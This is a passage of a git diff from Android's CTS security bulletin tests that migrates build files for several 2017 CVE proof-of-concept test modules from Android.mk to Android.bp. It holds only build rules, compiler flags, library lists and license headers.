-LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
new file mode 100644
index 0000000..27e8580
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License
+
+cc_test {
+    name: "CVE-2017-0333",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    cflags: [
+        "-W",
+        "-g",
+        "-O2",
+        "-Wimplicit",
+        "-D_FORTIFY_SOURCE=2",
+        "-D__linux__",
+        "-Wdeclaration-after-statement",
+        "-Wformat=2",
+        "-Winit-self",
+        "-Wnested-externs",
+        "-Wpacked",
+        "-Wshadow",
+        "-Wswitch-enum",
+        "-Wundef",
+        "-Wwrite-strings",
+        "-Wno-format-nonliteral",
+        "-Wstrict-prototypes",
+        "-Wmissing-prototypes",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+        "-Wno-macro-redefined",
+        "-fPIE",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk
deleted file mode 100644
index ae9fad5..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0333
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
index 1622b39..8dad1b8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
 #ifndef __LOCAL_POC_H__
 #define __LOCAL_POC_H__
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
new file mode 100644
index 0000000..ffd3169
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-0334",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.mk
deleted file mode 100644
index 166cd62..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0334
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a sts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
new file mode 100644
index 0000000..edbff59
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-0386",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    shared_libs: [
+        "libnl",
+        "libc",
+        "liblog",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
deleted file mode 100755
index 258944f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0386
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := external/libnl/include
-
-LOCAL_SHARED_LIBRARIES := \
-    libnl \
-    libc \
-    liblog \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
new file mode 100644
index 0000000..f7ab241
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-0415",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libutils",
+        "libui",
+        "libgui",
+        "libmedia",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
deleted file mode 100644
index e3884e6..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0415
-LOCAL_SRC_FILES := poc.cpp
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := libutils \
-                          libui \
-                          libgui \
-                          libmedia
-
-LOCAL_C_INCLUDES:= \
-        $(TOP)/frameworks/native/include/media/openmax
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
new file mode 100644
index 0000000..339cd59
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-0426",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    shared_libs: ["liblog"],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.mk
deleted file mode 100644
index 9dc0ea0..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0426
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_SHARED_LIBRARIES := liblog
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
new file mode 100644
index 0000000..1f4f071
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//  	http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License
+
+cc_test {
+    name: "CVE-2017-0477",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
new file mode 100644
index 0000000..e811dd3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-0479",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libmedia",
+        "libutils",
+        "libbinder",
+        "libandroid",
+        "libaudioclient",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
deleted file mode 100644
index fc5d5dd..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0479
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := libmedia libutils libbinder libandroid libaudioclient
-LOCAL_C_INCLUDES:= \
-        $(TOP)/frameworks/av/include/media/ \
-        $(TOP)/frameworks/av/services/ \
-        $(TOP)/system/media/audio_utils/include/ \
-        $(TOP)/external/sonic/ \
-        $(TOP)/external/jsoncpp/include/ \
-        $(TOP)/frameworks/av/media/libnblog/include \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_STS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS = -Wall -Werror
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
new file mode 100644
index 0000000..9354940
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License
+
+cc_test {
+    name: "CVE-2017-0508",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    cflags: [
+        "-W",
+        "-g",
+        "-O2",
+        "-Wimplicit",
+        "-D_FORTIFY_SOURCE=2",
+        "-D__linux__",
+        "-Wdeclaration-after-statement",
+        "-Wformat=2",
+        "-Winit-self",
+        "-Wnested-externs",
+        "-Wpacked",
+        "-Wshadow",
+        "-Wswitch-enum",
+        "-Wundef",
+        "-Wwrite-strings",
+        "-Wno-format-nonliteral",
+        "-Wstrict-prototypes",
+        "-Wmissing-prototypes",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+        "-Wno-macro-redefined",
+        "-fPIE",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk
deleted file mode 100644
index e51e98b..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0508
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
new file mode 100644
index 0000000..1a032a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-0553",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    shared_libs: ["libnl"],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.mk
deleted file mode 100644
index feaf0cf..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0553
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a sts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror -Wno-unused-parameter -Wno-unused-variable
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
new file mode 100644
index 0000000..a2ac927
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-13232",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.mk
deleted file mode 100644
index a01873d..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-13232
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := $(TOP)/system/media/audio/include/
-
-LOCAL_SHARED_LIBRARIES := libutils libbinder
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS = -Wall -Werror
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
new file mode 100644
index 0000000..70dd343
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-13273",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
deleted file mode 100644
index 1cb7357..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-13273
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
